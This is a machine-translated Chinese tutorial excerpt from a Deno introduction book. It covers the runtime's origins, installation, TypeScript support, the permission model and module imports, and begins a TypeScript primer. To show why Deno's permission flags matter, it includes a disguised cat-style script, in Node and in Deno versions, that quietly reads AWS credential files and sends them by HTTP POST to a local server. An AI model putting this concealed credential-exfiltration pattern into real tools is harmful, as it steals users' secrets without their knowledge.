Deno-入门指南-一-

181 阅读33分钟

Deno 入门指南(一)

原文:Introducing Deno

协议:CC BY-NC-SA 4.0

一、为什么是 Deno?

在过去的 10 年里,当后端开发人员听到“后端的 JavaScript”这个词时,所有人都会立即想到 Node.js。

在这 10 年的开始,也许不会马上出现,但最终它的名字为每个人所知,成为另一种基于 JavaScript 的可用后端技术。凭借其现成的异步 I/O 功能(因为虽然其他技术也支持这一功能,但 Node 是第一个将它作为核心机制的技术),它为自己划分了一部分市场。

更具体地说,Node.js 几乎成为编写 API 的事实上的选择,因为开发人员在这样做时可能会有疯狂的性能,而您只需很少的努力就可以获得很好的结果。

那么,为什么在 Node.js 核心及其周围的工具和库生态系统发展了 10 年之后,我们会得到一个新的 JavaScript 运行时,它不仅与 Node 非常相似,而且是解决相同问题的更好方法呢?

这个问题的答案和这个新项目的概述在接下来的章节中等待着你,所以系好安全带,让我们谈谈 Deno,好吗?

Deno 的 1.0 版本于 2020 年 5 月 13 日正式发布,但 Deno 的想法并不是在 2020 年诞生的。事实上,尽管它最初是由它的创造者瑞安·达尔 1 (顺便说一下,他也是 Node 的原始版本的作者)在 2018 年一次名为“Node.js 的 10 件事”的会议期间提出的, 2 到那时,他已经在 Deno 的原型上工作了一段时间。

这样做的动机很简单:他认为 Node 有一些无法从项目内部解决的根本性缺陷,因此,更好的解决方案是从头开始。无论如何,不要重新设计语言,毕竟,Ryan 和 Node 之间的问题不是关于 JavaScript,而是关于 Node 的内部架构以及它如何设法解决一些需求。

然而,他首先改变的是技术体系。他没有依赖于他的旧的和可信的工具集,如 C++和 libuv, 3 他从它们转移到一种更新的方法,使用 Rust 4 作为主要语言(这就像是一种没有垃圾收集器的编写 C++的现代方法)和 Tokio, 5 一个在 Rust 之上工作的异步库。事实上,这是架构中为 Deno 提供事件驱动的异步行为的部分。虽然不是技术堆栈的一部分,但我们也应该提到 Go,因为它不仅仅是 Ryan 在最初的原型(2018 年展示的那个)中使用的,而且它也是 Deno 在一些机制方面的一个很大的灵感(就像我们将在下面看到的那样)。

它试图解决什么问题?

除了可能过时的技术堆栈,Ryan 在设计 Deno 时还试图解决什么?

在他的脑海中,Node 有几个缺点没有得到及时解决,然后成为永久的技术债务。

不安全的平台

对他来说,Node 是一个不安全的平台,不知情的开发人员可能会留下一个安全漏洞,要么是因为不必要的特权执行,要么是因为访问系统服务的代码没有得到正确保护。

换句话说,使用 Node.js,您可以编写一个脚本,通过 TCP 将请求不受控制地发送到特定的 URL,从而在接收端造成潜在的问题。这是因为没有什么可以阻止您使用主机的网络服务。至少,Node 这边什么都没有。

同样,在 2018 年,一个非常受欢迎的 Node.js 模块的 repo 被社交黑客 6 (即其创建者被骗向黑客提供了其代码的访问权限),黑客添加了代码,可以窃取你的比特币钱包(如果你有一个的话)。因为 Node 中没有固有的安全性,所以这个模块能够访问您计算机上的某个路径,而它原本并不打算访问该路径。如果有办法注意到该路径上的读访问,并且用户必须手动允许它发生,这就永远不会是威胁。

有问题的模块系统

模块系统也是他不满意的地方。用他自己的话来说, 7 与其他部分(如异步 I/O 或事件发射器)得到的考虑相比,它的内部设计是事后才想到的。他后悔让 npm 成为节点生态系统包管理的事实上的标准。他不喜欢它是一个集中和私人控制的仓库。Ryan 认为浏览器导入依赖关系的方式更干净,也更容易维护。

老实说,简单地说

<script type="text/javascript" src="http://yourhostname/resources/module.js" async="true"></script>

而不是必须在 manifesto 文件(即 package.json)中编写一个新条目,然后自己安装(因为说实话,npm 会安装它,但你必须在某一点运行命令)。

事实上,整个package.json文件是他不太满意的。在定义 require 函数时,他实际上改变了 require 函数的逻辑,以确保它会考虑到它的内容。但是由文件的语法(即,作者信息、许可、存储库 URL 等)提供的附加“噪声”。)是他认为可以更好处理的事情。

在类似的注释中,保存模块的文件夹(node_modules)是他会尽可能处理掉的东西。这可能是大多数 Node 社区都同意的,因为每个人都至少抱怨过一次这个文件夹的大小,特别是当他们同时有几个活动项目时。也就是说,将该文件夹放在项目本地的初衷是为了避免混淆您正在安装的内容。当然,这是一个非常天真的解决方案,最终结果证明了这一点。

其他次要问题

他在 Node 上还有其他小问题,比如需要本地模块而不必指定其扩展的能力;这本来是为了帮助改善开发人员的体验,但它最终创建了一个过于复杂的逻辑,必须检查几个扩展才能理解到底需要什么。

或者与 index.js 文件相关联的隐式行为(事实上,您可以需要一个文件夹,它默认需要 index.js 文件在其中)。正如他在演示中所说,这是 Ryan 想添加的一个“可爱”功能,目的是通过模拟 index.html 文件在 Web 上的行为来改善体验。最终,这个特性并没有给用户带来太多的体验,并且导致了一种我认为不是创作者想要的模式。

总而言之,这些都是他的决定或他参与的决定,在他看来,有一种更好的方式来做这件事,这就是触发 Deno 的创建和他为这个新的运行时所采取的设计方向。

接下来,我们将更详细地介绍这一点:他所做的决定以及这些决定如何转化为一系列功能,这些功能不仅旨在区分 Deno 和 Node,还旨在提供 Ryan 最初想用 Node 为开发人员提供的安全运行时。

尝试 Deno

既然我们已经介绍了创建 Deno 背后的基本原因,那么是时候了解一些非常基本的东西了:如何安装和使用它。

幸运的是,如果你有兴趣只是把你的脚趾头伸进 Deno 水域了解它看起来像什么,但你真的不想淋湿,还有其他选择。如果你想完全进入 Deno,你也可以很容易地把它安装到所有主要的操作系统中。

在线游乐场

如果你需要的只是一个快速的小 REPL 来测试一种语言功能,或者只是习惯于使用 TypeScript 和 Deno 的感觉,你可能想免费看看目前为你(和所有有互联网连接的人)提供的任何一个在线平台。

Deno 游乐场

由 ach mad Mahardi(GitHub 上的 maman8)创建的这个在线游乐场 9 是我见过的最完整的一个。虽然它的用户界面非常简单,但是您可以做如下事情

  • 在 JavaScript 和 TypeScript 中执行代码示例,并在屏幕右侧查看结果。

  • 您可以启用对不稳定功能的支持(参见图 1-1 中的示例)。

  • 自动格式化你的代码,这在你从其他地方复制粘贴代码时特别有用。

  • 最后,你可以与他人分享。此功能允许您使用单击“共享”按钮后生成的永久链接与其他人共享您的代码片段。

img/501657_1_En_1_Fig1_HTML.jpg

图 1-1

启用了不稳定功能的 Deno 游乐场

关于这个游乐场另一个需要注意的重要事情是,它已经使用了 Deno 的最新版本:版本 1.0.1。

如果你正在使用另一个游戏场,并想确保你使用的是最新版本,你可以简单地使用下面的代码片段:

img/501657_1_En_1_Figa_HTML.gif

Deno 镇

另一个值得一提的游乐场是 Deno.town 虽然没有前作那么功能丰富,但它有一个非常简单的界面,而且工作起来也一样好。

您不能分享您的片段,并且在撰写本文时,Deno.town 正在使用 Deno 版本 0.26.0,但是您仍然可以使用该语言并测试一些想法。

img/501657_1_En_1_Fig2_HTML.jpg

图 1-2

Deno.town,Deno 的在线游乐场

也就是说,从好的方面来看,这个 Deno playground 默认启用了不稳定标志,所以您可以对该语言做任何您想做的事情。它还提供了一个非常有用的特性:智能感知。

img/501657_1_En_1_Fig3_HTML.jpg

图 1-3

使用 Deno.town 编写代码时的智能感知

图 1-3 显示了一个非常熟悉的场景,特别是如果你是一个 VS 代码 11 用户,因为它类似于那个 IDE 的默认主题和整体行为。这绝对是一个很棒的特性,尤其是当您在寻找某个特定 API 的帮助时。它会提供快速帮助,告诉你有哪些选择以及如何使用。

在计算机上安装 Deno

最后,为了结束这一章,我们将做你可能从开始阅读它就一直在寻找的事情:我们将安装 Deno(是时候了,你不这样认为吗?).

安装 Deno 其实很简单;根据您的操作系统,您需要以下选项之一。无论哪种方式,它们都只是一个从不同地方提取二进制文件的命令行程序(或者在某些情况下从源代码安装):

如果您是 Mac 用户:

Shell:在您的终端窗口中,编写

curl -fsSL https://deno.land/x/install/install.sh | sh

自制:你可以使用自制配方。 12

brew install deno

如果您是 Windows 用户:

PowerShell:在 Shell 窗口中,键入

iwr https://deno.land/x/install/install.ps1 -useb | iex

独家新闻: 13 如果你在 Windows 终端上使用这个命令行安装程序,只需输入

scoop install deno

如果您是 Linux 用户:

Shell:对于 Linux 用户来说,你暂时只有 shell 安装程序,虽然说实话你不需要其他任何东西。

$ deno
Deno 1.2.0
exit using ctrl+d or close()
> console.log("Hello REPL World!")
Hello REPL World!

Listing 1-1Deno REPL after a fresh installation

curl -fsSL https://deno.land/x/install/install.sh | sh

最后,结果应该是一样的:您应该能够从您的操作系统的终端窗口执行 deno 命令,并且应该打开 CLI REPL,如清单 1-1 所示。

那 Deno 有什么好酷的?

在设计新的运行时时,Ryan 试图尽可能多地解决他最初对 Node 的关注,同时利用最新版本的 ECMAScript 和 TypeScript。

最终,Deno 成为了一个安全的运行时,不仅与 JavaScript 兼容,还与 TypeScript 兼容(没错,如果你是 TS 迷,你会喜欢的!).

让我们来看看 Deno 引入的基本改进。

作为一等公民 TypeScript

这无疑是自正式发布以来最受欢迎的特性之一,主要是因为 TypeScript 在 JavaScript 社区中获得了越来越多的追随者,尤其是 React 开发人员,尽管您可能知道,它可以用于任何框架。

到目前为止,使用 TypeScript 作为项目的一部分需要您设置一个构建过程,在执行之前,该过程将 ts 代码转换为 JS 代码,以便运行时可以获取并解释它。毕竟我们都知道被执行的是 JavaScript。对于 Deno,这并不完全正确;事实上,您有能力编写 JavaScript 或 TypeScript 代码,只需让解释器执行即可。如果您使用 TS,那么代码将在内部加载 TypeScript 编译器,并将代码转换成 JavaScript。

过程本质上是相同的,但是对开发人员来说是完全透明的;从您的角度来看,您只是在执行 TypeScript。这绝对是一个优势;不再需要构建过程,编译时间在解释器内部得到优化,这意味着您的启动时间尽可能快。

我们将在下一章更深入地讨论 TypeScript,但是现在,Deno 的一个简单 TS 示例可以在清单 1-2 中看到。

const add = (a: number, b:number): number => {
   return a + b;
}

console.log(add(2,4))

Listing 1-2Basic TypeScript example that runs with Deno

将它另存为sample1.ts并运行它,如下面的代码片段所示(假设您已经安装了 Deno 如果您还没有,请不要担心,我们将在一分钟内完成):

$ deno run sample1.ts

该执行的输出是

Compile:
 file://Users/fernandodoglio/workspace/personal/deno/ts-sample/sample1.ts
6

请注意前面代码片段中显示的第一行;您可以看到 Deno 所做的第一件事是将您的代码编译成 JavaScript,而您无需做任何事情。

另一方面,如果我们用普通的 JavaScript 编写代码,输出会略有不同:

$ deno run sample1.js
6

安全

你有没有注意到,有时当你在手机上安装一个应用时,当他们试图访问相机或磁盘中的特定文件夹时,你会被要求权限?这是为了确保您没有安装试图在您不知情的情况下访问敏感信息的应用。

使用 Node,您执行的代码不受您的控制。事实上,我们通常倾向于盲目地信任上传到 npm 的模块,但是你怎么能确定他们真的做了他们所说的事情呢?不可以!当然,除非您直接检查它们的源代码,这对于具有数万行代码的大模块来说是不现实的。

目前保护您数据的唯一安全层是您的操作系统;这将有助于普通用户访问操作系统敏感的数据(如 Linux 机器上的/etc 文件夹),但访问其他资源(如通过网络发送请求或从环境变量中读取潜在的敏感信息)是完全允许的。因此,从技术上讲,您可以编写一个 Node CLI 工具来完成与cat命令一样的基本任务(读取文件内容,然后将其输出到标准输出),然后添加一些额外的代码来读取您的 AWS 凭证文件(如果有的话),并通过 HTTP 将其发送到另一个服务器,在那里您可以接收并存储它。

查看清单 1-3 中的代码以获得完整的示例。

const  readFile  = require('fs').readFile
const  homedir = require('os').homedir
const  request = require('request')

const filename = process.argv[2]

async function  sendDataOverHTTP(data) {
   return request.post('http://localhost:8080/', {
       body: data
   }, (err, resp, body) => {
       console.log("--------------------------------------------------")
       console.log("-             STOLEN INFORMATION                 -")
       console.log(body)
       console.log("--------------------------------------------------")
   })
}

async function gatherAWSCredentials() {
   const awsCredsFile = homedir() + "/.aws/credentials"
   return readFile(awsCredsFile, async (err, cnt) => {
       if(err) {
           //ignore silently since we don't want anyone to know about it
           console.error(err)
           return;
       }
       return await sendDataOverHTTP(cnt.toString())
   })
}

readFile(filename, async (err, cnt) => {
   if(err) {
       console.error(err)
       exit(1)
   }
   await gatherAWSCredentials()
   console.log("==== THIS IS WHAT YOU WERE EXPECTING TO SEE ====")
   console.log(cnt.toString())
   console.log("=============================================")
})

Listing 1-3Code for a CLI tool that steals private information

这是一个非常简单的脚本;您可以使用 Node 来执行它,如下一个代码片段所示:

$ node cat.js sample1.js

然而,输出并不完全是您,作为一个不知情的用户,所期望的;查看清单 1-4 以了解我的意思。

==== THIS IS WHAT YOU WERE EXPECTING TO SEE ====
const add = (a, b) => {
      return a + b;
}

console.log(add(2,4))
================================================
--------------------------------------------------
-          STOLEN INFORMATION -
[default]
aws_access_key_id = AIIAYOD5HUHFNW6VBSUH
aws_secret_access_key = 389Jld6/ofv1z3Rj9UulA9lkjqmzQlZNACK12O6hK

--------------------------------------------------

Listing 1-4Output from the cat script

清单 1-4 显示了正在发生的事情,以及你不仅仅是在访问你想要的文件,还在访问你认为是私有的文件。

如果我们用 Deno 写同样的脚本并试着执行它,故事将会完全不同;让我们在清单 1-5 中查看一下。

const sendDataOverHTTP = async (data: string) => {
   const decoder = new TextDecoder('UTF-8')

   const resp = await fetch("http://localhost:8080", {
       method: "POST",
       body: data
   })
   let info = await resp.arrayBuffer()
   let encoded = new Uint8Array(decoder.decode(info)
       .split(",")
       .map(c => +c))
   console.log("--------------------------------------------------")
   console.log("-             STOLEN INFORMATION             -")
   console.log(decoder.decode(encoded))
   console.log("--------------------------------------------------")
}

const gatherAWSCredentials = async () => {
   const awsCredsFile = Deno.env.get('HOME') + "/.aws/credentials"
   try {
       let data = await Deno.readFile(awsCredsFile)
       return await sendDataOverHTTP(data.toString())
   } catch (e) {
       console.log(e) //logging the error for demo purposes
       return ;
   }
}

const filename  = Deno.args[0]

const decoder = new TextDecoder('UTF-8')
const text = await Deno.readFile(filename)

await gatherAWSCredentials()
console.log("==== THIS IS WHAT YOU WERE EXPECTING TO SEE ====")
console.log(decoder.decode(text))
console.log("================================================")

Listing 1-5Same CLI code from before but written in Deno

清单 1-5 中的代码与之前的节点代码完全相同;它向您显示您试图查看的文件的内容,同时,它将敏感的 AWS 凭证复制到外部服务器。

要运行该代码,我们假设您只需使用如下所示的代码行:

$ deno run deno-cat.ts sample1.ts

然而,我们会得到一个类似于我们在清单 1-6 中看到的错误。

error: Uncaught PermissionDenied: read access to "sample1.ts", run again with the --allow-read flag
     at unwrapResponse ($deno$/ops/dispatch_json.ts:42:11)
     at Object.sendAsync ($deno$/ops/dispatch_json.ts:93:10)
     at async Object.open ($deno$/files.ts:38:15)
     at async Object.readFile ($deno$/read_file.ts:14:16)
     at async file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:35:14

Listing 1-6Output of executing a Deno script without the proper permissions set

如您所见,如果我们不直接允许访问文件,我们甚至无法打开我们实际尝试查看的文件。

如果我们像错误消息中建议的那样用--allow-read标志提供适当的权限,我们会得到另一个错误,这个错误实际上更麻烦一些。

error: Uncaught PermissionDenied: access to environment variables, run again with the --allow-env flag
     at unwrapResponse ($deno$/ops/dispatch_json.ts:42:11)
     at Object.sendSync ($deno$/ops/dispatch_json.ts:69:10)
     at Object.getEnv [as get] ($deno$/ops/os.ts:27:10)
     at gatherAWSCredentials (file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:21:35)
     at file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:37:7

Listing 1-7Error while attempting to access an environmental variable without permission

$ deno run --allow-read deno-cat.ts sample1.ts

查看清单 1-7 中的错误,我们得到一个有趣的通知,关于我们的脚本试图访问的一个环境变量,考虑到我们试图做的事情,这可能有点奇怪。如果我们也允许这种访问,我们将得到清单 1-8 中所示的错误。

PermissionDenied: network access to "http://localhost:8080/", run again with the --allow-net flag
     at unwrapResponse ($deno$/ops/dispatch_json.ts:42:11)
     at Object.sendAsync ($deno$/ops/dispatch_json.ts:93:10)
     at async fetch ($deno$/web/fetch.ts:266:27)
     at async sendDataOverHTTP (file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:6:18)
     at async gatherAWSCredentials (file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:24:16)
     at async file:///Users/fernandodoglio/workspace/personal/deno/ts-sample/deno-cat.ts:37:1
==== THIS IS WHAT YOU WERE EXPECTING TO SEE ====
const add = (a: number, b:number): number => {
     return a + b;
}
console.log(add(2,4))
================================================

Listing 1-8Network access error

这很奇怪。我们可以再次绕过它,允许网络访问,但是作为一个用户,为什么需要使用Cat命令来访问网络接口呢?我们将会看到更多像这样的例子,并在第三章中讨论所有的安全标志。

顶级等待

从 Node 添加对async/await子句的支持的那一刻起,各地的开发人员就开始将他们基于承诺的方法转换成这种新的机制。问题是每个await子句都必须是async函数的一部分。换句话说,顶级等待——对项目主文件上的async函数的结果进行await的能力——还不被支持。

直到今天,即使 V8 已经添加了对它的支持,我们仍在等待 Node 赶上来,迫使开发人员通过使用声明为async的 IIFEs(也称为立即调用函数表达式)来解决这一限制。

但由于 Deno,这不再是真的;在 1.0 版本中,您可以立即获得顶级 wait。你能从中得到什么好处?

首先,由于这个原因,您的启动代码可以被清理。您是否曾经不得不在连接数据库的同时启动 web 服务器?能够从顶层直接await这些动作,而不是将它们包装成一个函数来运行,这无疑是一个优势。

更容易的依赖性回退。试图从两个不同的地方导入一个特定的库现在可以很容易地在顶层编写,只需捕捉第一个库的异常,如清单 1-9 所示。

let myModule = null;
try {
  myModule = await import('http://firstURL')
} catch (e) {
  myModule = await import('http://secondURL')
}

Listing 1-9Using top-level await for imports

这是一个比依赖 promises 提供的语法简单得多的语法,或者以某种方式将整个东西包装到一个异步函数中,然后以某种方式将依赖关系导出到全局空间。

这肯定不是 Deno 带给我们的重大改进之一,但绝对是值得一提的,因为 Node 社区已经要求这种能力很长时间了。

扩展和改进的标准库

JavaScript 的标准库甚至 Node 的标准库从来都不是什么值得骄傲的东西。几年前,这甚至更糟,要求美国开发人员添加几乎成为标准的外部库,如 jQuery 14 那时帮助每个人理解 AJAX 如何工作,并提供几个助手方法来迭代对象,后来强调 15 和最近的 Lodash 16 提供了相当多的处理数组和对象的方法。随着时间的推移,这些方法(或类似的版本)已经被整合到 JavaScript 的标准库中。

也就是说,在我们可以有把握地说,我们可以在不需要开始为最基本的操作要求外部模块的情况下构建一些东西之前,还有很长的路要走。毕竟,这已经成为 Node 的标准:一个基本的构建块,要求您开始添加模块,以便拥有您需要的工具。

考虑到这一点,Deno 的标准库的设计不仅仅是提供基本的构建模块;事实上,Deno 的核心团队在将这些功能发布给公众之前,已经对它们进行了审查,并认为它们具有足够的质量。这是为了确保作为 Deno 开发人员的您获得所需的适当工具,遵循该语言的内部标准,并尽可能具有最高的代码质量。也就是说,为了从社区获得反馈,有些库在开发中就已经发布了(带有适当的警告信息)。如果您决定继续尝试它们,您应该适当地小心使用它们,并理解这些 API 可能会根据它们得到的响应而改变。

关于这组函数的另一个有趣的信息是,就像整个模块系统(我们将在下面讨论),它受到 Go 标准库的很大影响。虽然双方没有一一对应的关系,但是看包的名字甚至函数名就能看出影响。记住,Deno 的标准库是不断增长的;版本 1 只包含了团队能够从 Go 移植过来的所有东西,但是这项工作还在继续,未来的版本将会看到这个列表的增长。

这种方法的好处是,如果有一个函数还没有在 Deno 中记录,您可以通过访问 Go 的官方文档并在相应的模块中找到它。正如我所说的,这不是 Go 的镜像,但因为它受到了很大的启发,所以您可以获得诸如fmt包之类的东西,它包含两种语言的字符串格式化帮助函数。

img/501657_1_En_1_Fig4_HTML.jpg

图 1-4

关于 printf 函数的 Deno 和 Go 文档

图 1-4 说明了我所说的相似之处。虽然 Deno 函数仍在开发中,其开发者也在积极地寻求反馈,但已经可以看出“动词”等概念的来源来自 Go 方面。

不再有 npm

Deno 引入的关于节点生态系统的最后也可能是最大的变化是,它放弃了每个节点开发人员在其职业生涯中一度讨厌和喜欢的事实上的包管理器。

这并不是说 Deno 会带来自己的包管理器;事实上,Deno 正在重新思考它的整个包管理策略,寻找一个更简单的(也是受 Go 启发的)方法。

在本章开始讨论 Deno 试图解决的问题时,我提到 Ryan 认为 npm 及其相关的一切都是错误的。一方面,因为它太冗长而无法使用(考虑到有多少样板代码进入了package.json文件),而且他不喜欢每个模块都驻留在一个私人控制的集中存储库中。所以他借此机会走向了一个完全不同的方向。

开箱即用,Deno 允许您从 URL 导入代码,就像它们是本地安装的模块一样。事实上,您不需要考虑安装模块;当你执行你的脚本时,Deno 会处理好的。

但是让我们先回顾一下。相对于 npm 和其他类似技术的这一改进背后的全部要点是有一个更简单的方法,正如我之前所说的,一个类似于 Go 的 yes,但也非常类似于浏览器和前端 JavaScript 的工作方式。如果你正在做一些前端 JavaScript,你不需要手动安装你的模块;您只需使用script标签来请求它们,浏览器会负责寻找它们,不仅下载它们,还会缓存它们。Deno 采取了非常相似的方法。

您可以继续导入本地模块。毕竟你的文件也算模块;这一点没有改变,但所有第三方代码,包括 Deno 官方提供的标准库,都将在线供您导入。

例如,看看清单 1-10 中显示的 Deno 官网的示例代码。

img/501657_1_En_1_Fig5_HTML.jpg

图 1-5

导入外部模块的 TypeScript 文件的第一次执行的输出

import { bgBlue, red, bold, italic } from "https://deno.land/std/fmt/colors.ts";

if (import.meta.main) {
 console.log(bgBlue(italic(red(bold("Hello world!")))));
}

Listing 1-10Sample code showing imports from a URL

图 1-5 显示了执行这个简单脚本的输出。如您所知,我们看到在代码执行之前发生了两个动作。这是因为 Deno 首先下载并缓存脚本。第二步,它还将我们的 TypeScript 代码编译成 JavaScript(如果这个例子是一个. js 文件,这一步就不会发生了),所以它最终可以执行它。

这个过程最好的部分是,下次你执行代码时,它会直接执行,不需要下载或编译任何东西,因为所有东西都被缓存了。当然,如果您决定更改代码,那么编译步骤需要重新进行。

至于外部模块,因为它现在被缓存了,所以您不必再次下载它,当然,除非您明确地告诉 CLI 工具这样做。不仅如此,从现在开始,任何其他需要导入相同文件的新项目都将能够从共享缓存中获得该文件。比起在你的硬盘上放几个巨大的文件夹,这是一个巨大的进步。

更具体地说,Deno 的模块系统是基于 es 模块的,而 Node 的模块系统是基于 CommonJS 的(最近也是基于 ES 模块的,尽管还处于实验模式)。这意味着在 Deno 中将一个模块导入到您的代码中,您的语法如下所示:

import {your_variables_here} from 'your-modules-url';

当需要从自己的模块中导出一些对象或函数时,只需使用清单 1-11 中所示的export关键字。

export function(...) {
 // your code...
}

Listing 1-11Using the export keyword

我将在第四章中更详细地介绍这个主题,所以请记住我们现在已经摆脱了黑洞,也就是node_modules文件夹,我们不再需要担心package.json。我将介绍如何处理缺乏集中的模块注册中心的问题,以及围绕这一问题开发的不同模式。

结论

关于 Deno 最初为什么被创建以及它试图解决什么样的问题,你现在是最新的。如果您是一名节点开发人员,那么您应该已经掌握了足够的信息,可以开始使用在线 REPLs,甚至是使用 Deno 安装的 CLI REPL。

但是,如果您来自其他语言,甚至来自前端,请耐心等待,继续阅读,因为我们将快速介绍什么是 TypeScript,以及如何将它与 Deno 一起用于后端开发。

Footnotes 1

https://en.wikipedia.org/wiki/Ryan_Dahl

  2

https://youtu.be/M3BM9TB-8yA

  3

https://libuv.org/

  4

www.rust-lang.org/

  5

https://tokio.rs/

  6

https://blog.logrocket.com/the-latest-npm-breach-or-is-it-a427617a4185/

  7

Youtube 上 node . js-Ryan Dahl-JSConf EU 我后悔的 10 件事

  8

https://github.com/maman

  9

https://deno-playground.now.sh/

  10

https://deno.town/

  11

https://code.visualstudio.com/

  12

https://formulae.brew.sh/formula/deno

  13

https://scoop.sh/

  14

https://jquery.com/

  15

https://underscorejs.org/

  16

https://lodash.com/

 

二、TypeScript 简介

鉴于 TypeScript 是 Deno 的创建者选择的语言,并且他利用了这是一个全新项目的事实来添加对它的原生支持,我认为有一个完整的章节专门讨论它是很方便的。如果您是 TypeScript 的新手,在这里您将学习它的基础知识,理解接下来章节中的代码示例所需的一切。另一方面,如果你已经精通这门语言,那么也许可以直接跳到第三章,或者通读这一章,在继续之前快速复习一下关键概念。

什么是 TypeScript?

JavaScript 是一种动态语言,这意味着变量没有类型。我知道你要说什么,你确实有一些基本类型,比如数字,对象,或者字符串,但是在任何给定的时间都没有静态类型检查发生;您可以完美地编写清单 2-1 中的代码,而不会出现任何问题。

let myVar = "this is a string"
myVar = 2
console.log(myVar + 2)

Listing 2-1Dynamically typed code in JavaScript

类型化语言会抱怨你把一个整数赋给一个字符串变量(例如,myVar);然而,JavaScript 的情况并非如此。正因为如此,语言本身或解释器没有办法帮助你在编译期间检查错误,而是等待在运行时发现错误。当然,这并不是说清单 2-1 中的代码会在运行时失败,但是下面的代码片段会失败:

let myObj = {}
myObj.print()

这是一个有效的 JavaScript 代码,但是如果您执行它,您会得到一个运行时错误,或者称为一个不可控制的异常。对于没有强大类型系统的语言来说,这是正常的,甚至是意料之中的行为。如果你一直在用 JavaScript 编码(无论是在前端还是后端),你很可能会看到类似清单 2-2 的错误。

myObj.print()
     ^

TypeError: myObj.print is not a function
     at Object.<anonymous> (/Users/fernandodoglio/workspace/personal/deno/runtime-error.js:3:7)
     at Module._compile (internal/modules/cjs/loader.js:1144:30)
     at Object.Module._extensions..js (internal/modules/cjs/loader.js:1164:10)
     at Module.load (internal/modules/cjs/loader.js:993:32)
     at Function.Module._load (internal/modules/cjs/loader.js:892:14)
     at Function.executeUserEntryPoint [as runMain] (internal/modules/run_main.js:71:12)
     at internal/main/run_main_module.js:17:47

Listing 2-2Unheld TypeError exception

这就是 TypeScript 发挥作用的地方;您实际上是在编写 JavaScript 代码,增加了一个层,为您提供静态类型检查和改进的开发体验,这要归功于代码编辑器可以获取类型定义,并为您提供完整的智能感知。

到目前为止,您使用 TypeScript 的方式是使用一些自动化工具建立一个构建过程,例如 webpack 1 或者回到过去,Gulp 2 或者 Grunt。无论哪种方式,这个工具都可以让你创建一个进程,在代码被执行之前转换你的代码(换句话说,转换成 JavaScript)。这是一项非常常见的任务,当您开始一个新项目时,已经有一些工具可以自动为您配置该过程。比如拿 create-react-app4应用来说,旨在帮助你创建一个新的 React 项目;如果您选择将它与 TypeScript 一起使用,它将为您设置翻译步骤。

类型的快速概述

正如我之前提到的,TypeScript 试图将 JavaScript 中的类型概念扩展到更具体的内容中,就像在 C 或 C#等语言中得到的一样;这就是为什么在为变量选择正确的类型时,了解 TypeScript 所能提供的全部内容非常重要。

你已经知道的类型

您可以使用的一些类型来自 JavaScript 毕竟,如果它们已经被定义了,那重新发明轮子又有什么意义呢?

我说的是字符串、数字、数组、布尔甚至对象等类型。如果我们尝试使用如下代码片段中的 TypeScript 符号重写前面的示例,您会得到一个错误:

let myVar: string = "Hello typed world!"
myVar = 2

console.log(myVar)

并运行前面的示例,如下所示:

$ deno run sample.ts

注意.ts扩展,如果你想让 Deno 理解它需要将代码编译成 JavaScript,这是必须的。

error: TS2322 [ERROR]: Type '2' is not assignable to type 'string'.
myVar = 2
~~~~~
     at file:///Users/fernandodoglio/workspace/personal/deno/sample.ts:2:1

当然,您不能执行该脚本中的代码。TypeScript 不让你把它编译成 JS 还有意义;你实际上为你的变量指定了一个类型,然后给它赋了另一个类型的值。

声明数组

在 TypeScript 中声明数组很简单;其实你有两种方法,两种情况都很直观。一方面,您可以指定后跟数组符号的类型:

let variable : number[] = [1,2,34,45]

代码明确声明了一个数字数组,如果你试图添加任何不是数字的东西,你将无法编译它。

声明数组的另一种方法是使用泛型类型,如下所示:

let variable : Array<number>  = [1,2,3,4]

最后的结果都是一样的,用哪一个真的由你自己决定。

声明任何其他类型都很简单,真的没有什么太复杂的,所以让我们来看看好的方面:由于 TS,您得到了新的类型。

新类型

除了从 JavaScript 继承的基本的和已知的类型之外,TypeScript 还提供了其他更有趣的类型,比如元组、枚举、任何类型(我们将在稍后讨论)和 void。

这些额外的类型,加上我们马上会看到的其他构造,有助于为开发人员提供更好的体验,并为您的代码提供更健壮的结构。

使用元组

我们已经讨论过数组,元组非常相似,但与数组不同,数组可以添加无限数量的相同类型的元素,元组允许您预定义有限数量的元素,但您可以选择它们的类型。

就其本身而言,元组可能看起来非常基本,如清单 2-3 所示。

let myTuple: [string, string] = ["hello", "world!"]

console.log(myTuple[0]) //hello
console.log(myTuple[2]) //Error: Tuple type '[string, string]' of length '2' has no element at index '2'.ts(2493)

Listing 2-3Declaring tuples in TypeScript

如您所知,使用清单 2-3 中的定义,您只能访问数组的前两个元素;之后,一切都超出了范围。事实上,即使在作用域内,编译器也会检查你对那些索引做了什么;看看清单 2-4 。

let myTuple: [string, number] = ["hello", 1]

console.log(myTuple[0].toUpperCase()) //HELLO
console.log(myTuple[1].toUpperCase()) //Error: Property 'toUpperCase' does not exist on type 'number'.ts(2339)

Listing 2-4Error while trying to access a nonexisting method

这就是 TypeScript 的闪光点,因为它在您不太想检查的地方提供了检查。

但是,元组最好的部分是,您可以将它们用作数组索引。因此,现在您可以看到如何混合新旧类型,并且仍然拥有 ts 带来的好处。

let myList: [number, string][] = [[1, "Steve"], [2, "Bill"], [3, "Jeff"]]

然后,您可以继续使用带有myList的普通数组方法,并继续添加新条目,如下面的代码片段所示:

myList.push([4, "New Name"])

枚举数

虽然元组是旧概念(即数组)的翻版,但枚举对 JavaScript 来说是一个全新的概念。尽管您可以使用普通的 JS 代码创建它们,但是 TypeScript 现在为您提供了一个额外的构造,您可以使用它来定义它们。

清单 2-5 是它们如何工作的一个基本例子。

enum Direction {
    Up = "UP",
    Down = "DOWN",
    Left = "LEFT",
    Right = "RIGHT",
}

Listing 2-5Declaring an enum

本质上,枚举是一种创建一组常数的方法,这没什么大不了的,但是这是一种很好的方法,可以通过自定义的构造赋予常数更多的意义,而不是简单地做一些类似于清单 2-6 的事情。

const Direction = {
  Up: "UP",
  Down: "DOWN",
  Left: "LEFT",
  Right: "RIGHT"
}

Listing 2-6Using a constant object to group constant values

虽然这是真的,但 TypeScript 简化了声明枚举的任务,允许您跳过它们的值并自动为它们赋值(这是您实际上不需要担心的)。因此,您可以利用这一点来定义枚举,如清单 2-7 所示。

enum Direction {
  Up,
  Down,
  Left,
  Right
}

